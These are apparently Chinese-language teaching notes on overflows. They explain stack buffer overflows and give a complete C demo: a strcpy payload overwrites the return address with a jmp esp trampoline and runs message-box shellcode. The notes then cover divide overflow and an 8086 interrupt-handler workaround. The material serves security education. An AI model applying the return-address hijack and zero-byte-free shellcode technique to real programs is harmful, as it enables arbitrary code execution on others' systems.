Skip to content

09_溢出与溢出攻击

一、 缓冲区溢出 (Buffer Overflow)

缓冲区溢出是一种常见的软件漏洞,其核心原理是程序在向内存写入数据时,没有严格检查数据的边界,导致写入的数据超出了预先分配的缓冲区域,进而覆盖了相邻的内存空间。

1. 函数栈帧结构与漏洞成因

在高级语言(如C语言)中,函数的调用依赖于堆栈框架(Stack Frame)。当一个函数(如 strcpy)被调用时,堆栈中会依次包含以下关键信息:

  • 局部变量(Buffer):函数内部定义的数组或变量(如 char t[4])。

  • Old EBP:调用者的基址指针,用于在函数返回时恢复堆栈状态。

  • 返回地址 (Return Address):函数执行完毕后,CPU需要跳转回去继续执行的指令地址。

  • 函数参数:传递给被调用函数的参数。

漏洞触发机制:

C语言中的某些标准库函数(例如 strcpy)在复制字符串时,不会检查目标缓冲区的长度。如果源数据的长度大于目标缓冲区(如将一个长数组复制到4字节的数组 t 中),多出来的数据就会“溢出”并向下覆盖堆栈上的数据。

2. 控制流劫持 (Control Flow Hijacking)

攻击者可以精心构造溢出数据的内容,实现对程序执行流的控制:

  1. 覆盖返回地址:攻击者利用超长的数据填满局部变量区,并覆盖掉相邻的 Old EBP 和 返回地址。

  2. 设置跳板 (Trampoline):攻击者通常不会将返回地址直接覆盖为某个硬编码的堆栈地址(因为堆栈地址可能会浮动),而是将其覆盖为操作系统内核或加载模块中某个固定的 jmp esp 指令所在的地址(例如 0x7FFA4512)。

  3. 执行恶意代码:当函数执行 ret 指令准备返回时,它会弹出被篡改的返回地址并放入 EIP(指令寄存器)。CPU 随之跳转执行 jmp esp。此时,ESP(堆栈指针)正好指向攻击者布置在返回地址之后的数据区。如果该区域填充了可执行的机器码(Shellcode),CPU 就会将其作为正常指令执行。

以下是触发缓冲区溢出的完整 C/C++ 代码实例。程序中构造了一个恶意的 over 数组,通过 len 函数内部无长度校验的 strcpy 操作,精准覆盖了栈帧中的返回地址,使其跳转到跳板地址(0x7FFA4512,即系统内的 jmp esp 指令处),最终执行数组后半部分包含的弹窗恶意代码。

#include "stdafx.h"
#include <windows.h>
#include <string.h>

// 存在漏洞的函数
int len(char *p)
{
   char t[4];         // 仅分配了 4 字节的局部数组
   strcpy(t, p);      // 致命弱点:不检查 p 的长度,直接复制,导致溢出覆盖 Old EBP 和返回地址
   return strlen(t);
}

int main()
{
   // 精心构造的溢出载荷 (Payload)
   char over[] =
   {
      // 1. 填充局部变量 t[4] 和 Old EBP (共 8 字节)
      0x90,0x90,0x90,0x90,
      0x90,0x90,0x90,0x90,

      // 2. 覆盖返回地址 (Return Address),将其指向系统内核中的 jmp esp 指令地址
      0x12,0x45,0xFA,0x7F,     // 倒序读取为 0x7FFA4512 (跳板地址)

      // 3. 恶意机器码 (Shellcode):将被 jmp esp 引导执行
      0x89,0xE5,0x31,0xC0,0x50,0x8D,0x45,0x20,
      0x50,0x30,0xD2,0x88,0x50,0x0F,0x8D,0x45,
      0x30,0x88,0x50,0x0F,0x50,0x31,0xC0,0x50,
      0xB8,0xEA,0x07,0xD5,0x77,0xFF,0xD0,0xC3,
      // 附加的字符串数据 "MessageBoxTitle!Buffer Overflow!"
      0x4D,0x65,0x73,0x73,0x61,0x67,0x65,0x42,
      0x6F,0x78,0x54,0x69,0x74,0x6C,0x65,0x21,
      0x42,0x75,0x66,0x66,0x65,0x72,0x20,0x4F,
      0x76,0x65,0x72,0x66,0x6C,0x6F,0x77,0x21,
      0x00                     // 字符串结束符
   };

   int y;
   MessageBox(NULL, "Test", "Begin", MB_OK); // 正常弹窗

   y = len(over); // 调用 len 函数,触发溢出

here:
    return 0; // 由于返回地址已被覆盖,程序永远无法正常返回到这里
}

3. 代码构造约束:避免 Zero Bytes (零字节)

在构造用于触发 strcpy 溢出的机器码时,代码中不能出现 0x00(即零字节)。因为字符串复制函数遇到 0x00 时会认为字符串已结束,从而截断复制过程,导致溢出攻击失败。

  • 应对技巧:在编写汇编代码时需刻意规避产生零的机器码。例如,若要将寄存器清零,不能使用 mov eax, 0,而应使用 xor eax, eax(机器码为 31 C0)。

二、 除法溢出 (Divide Overflow)

除法溢出不属于人为的代码攻击漏洞,而是 CPU 在执行除法指令时遇到异常数值而产生的一种内部异常中断。

1. 触发条件

除法溢出主要发生在以下两种情况:

  • 除数为零:当执行 div 指令且除数为 0 时。

  • 商过大 (容量溢出):当被除数除以除数得到的“商”,超出了用来存放商的寄存器的最大容量时。例如,进行 16位 除以 8位 的运算时,结果默认保存在 8位 的 AL 寄存器中;如果商大于 255,AL 无法容纳,就会触发溢出。

2. 中断机制与默认处理

  • 异常触发:当 CPU 检测到除法溢出时,会立即在引发异常的 div 指令上方内部插入并触发一个 int 00h 中断(属于异常 Exception,而非硬件中断)。

  • 默认处理:在默认情况下,操作系统的 int 00h 处理函数会在屏幕上打印出类似于 “Divide overflow” 的错误信息,并直接强行终止程序的运行,不会返回继续执行后续代码。

3. 自定义中断处理与异常挽救

为了防止程序因除法溢出而崩溃,开发者可以通过修改中断向量表(Interrupt Vector Table)来接管 int 00h,并挽救执行流。

  • 修改中断向量:int 00h 的目标函数地址存放在内存的 0:0 处。通过将此处保存的段地址和偏移地址替换为自定义中断函数(如 int_00h)的地址,就可以让 CPU 在溢出时跳转到自定义代码。

  • 绕过错误指令 (修改栈中 IP):

    • 发生中断时,CPU 会将 FLAGS、CS 和 IP 压入堆栈保护现场。此时堆栈顶部的 IP 依然指向那条发生错误的 div 指令。

    • 如果在自定义中断中直接执行 iret 返回,CPU 会再次执行 div,导致死循环。

    • 方法:在中断处理函数中建立堆栈框架(push bp, mov bp, sp),直接修改堆栈中保存的返回 IP 的值(位于 bp+2),将其加上一个偏移量,指向 div 指令之后的一条安全指令(如代码中的 back 标签)。这样当 iret 执行时,程序就能成功绕过导致崩溃的除法运算,继续向下执行。

以下汇编代码展示了如何通过修改中断向量表,用自定义的 int_00h 异常处理函数接管除法溢出。代码在栈中修改了压入的 IP 指针(偏移地址加 2 或直接指向安全地址 back),成功绕过了导致崩溃的 div bl 指令,使程序能够继续打印字母 'A' 并正常退出。

code segment
assume cs:code

old_00h dw 0, 0     ; 用于保存操作系统原有的 int 00h 中断向量

; 自定义除法溢出处理函数
int_00h:
   push bp
   mov bp, sp

   ; 核心挽救逻辑:修改堆栈中保存的返回 IP,使其指向安全地址 back
   ; bp+2 处存放的是发生异常前压入的 IP (原指向 div 指令)
   mov word ptr [bp+2], offset back

   pop bp
   iret             ; 中断返回时,IP 将被弹出为 back 的地址,成功绕过死循环

main:
   ; 1. 修改中断向量表 (0:0 处)
   xor ax, ax          ; AX = 0
   mov es, ax          ; ES = 0
   mov bx, 0           ; int 00h 中断向量的地址偏移为 0*4 = 0

   ; 保存旧的中断向量
   mov ax, es:[bx]
   mov dx, es:[bx+2]
   mov cs:old_00h[0], ax
   mov cs:old_00h[2], dx

   ; 写入新的自定义中断向量 (指向代码段的 int_00h)
   mov word ptr es:[bx], offset int_00h
   mov es:[bx+2], cs

   ; 2. 故意触发除法溢出
   mov ax, 1234h
   mov bl, 10h
   div bl              ; 商无法保存在 8 位的 AL 中,触发溢出,跳转到我们自定义的 int_00h

back:
   ; 3. 溢出被成功挽救,程序跳到这里继续执行
   mov ah, 2
   mov dl, 'A'         ; 屏幕打印字母 'A',证明挽救成功
   int 21h

   ; 4. 恢复系统原有的中断向量
   mov ax, old_00h[0]
   mov dx, old_00h[2]
   mov es:[bx], ax
   mov es:[bx+2], dx

exit:
   mov ah, 4Ch
   mov al, 0
   int 21h             ; 正常结束程序运行

code ends
end main